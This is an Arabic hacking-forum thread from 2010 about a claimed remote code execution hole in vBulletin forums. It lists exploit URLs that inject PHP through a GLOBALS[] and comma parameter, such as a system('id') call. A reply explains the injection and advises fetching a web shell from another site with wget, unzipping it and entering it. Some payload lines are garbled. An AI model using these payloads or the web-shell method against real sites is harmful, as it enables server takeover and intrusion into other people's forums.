الحققققق ثغرة جديده بمنتديات vb

GuEvArA511 · 08-19-2010, 01:59 PM

مشكور ثغرة من جد طازة

بس نبي شرح كيف تستغلالها لاهنت

اذا تعرف ولا اي واحد من الشباب يشرحها لنا

هذي هي استغلالاتها لكن مافهمت شي

كود PHP:

  http://DNSname.com/patch/clientscript/vbulletin-core.js?v=

 

http://DNSname.com/patch/clientscript/vbulletin-core.js?v=(value)

 

http://DNSname.com/vb/forumdisplay.php?GLOBALS[]=

 

http://DNSname.com/patch/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."

 

http://DNSname.com/vb/forumdisplay.php?GLOBALS[]=1&f=2&comma=content-type=".allow put chart

المصدر: :: vBspiders Professional Network ::

dz-fox · 08-19-2010, 07:25 PM

اقتباس

المشاركة الأصلية كتبت بواسطة GuEvArA511


	مشكور ثغرة من جد طازة بس نبي شرح كيف تستغلالها لاهنت اذا تعرف ولا اي واحد من الشباب يشرحها لنا هذي هي استغلالاتها لكن مافهمت شي كود PHP: `http://DNSname.com/patch/clientscript/vbulletin-core.js?v= http://DNSname.com/patch/clientscript/vbulletin-core.js?v=(value) http://DNSname.com/vb/forumdisplay.php?GLOBALS[]= http://DNSname.com/patch/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')." http://DNSname.com/vb/forumdisplay.php?GLOBALS[]=1&f=2&comma=content-type=".allow put chart`

عزيزي هذه تغرة Code Execution يعني تقدر تطبق أوامر التي تستعملها في الشل في رابط الموقع مباشرة

يعني مثلا http://DNSname.com/patch/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."

بهذا سيظهر لك في الموقع صلاحياتك على السيرفر لأننا ادرجنا الأمر id

افضل الطرق انك تسحب شل من موقع آخر برابط مباشر بصيغة zip (مضغوط) بالأمر wget

و تفك الضغط الضغط بالأمر unzip و تدخل على الشل و smilies12

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
ثغرة جديده من هكر عرعر	ViRuS Qalaa	قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات	7	07-22-2010 05:40 PM
[ خبـر ] : ثغرة جديده في هاك vBulletin Radio and TV Player	xman2	قســم تطويــر المــــواقع	0	06-24-2009 04:30 PM
[Template] : postbit_legacy الخاص بمنتديات عالم الحب اروع ما يكون للنسخ 3.8 فما فوق	xman2	قســم تطويــر المــــواقع	0	06-03-2009 07:31 PM
[Template] : قالب postbit_legacy الخاص بمنتديات دردشه لجميع النسخ	xman2	قســم تطويــر المــــواقع	0	05-01-2009 09:02 PM

التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام

الحققققق ثغرة جديده بمنتديات vb

قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات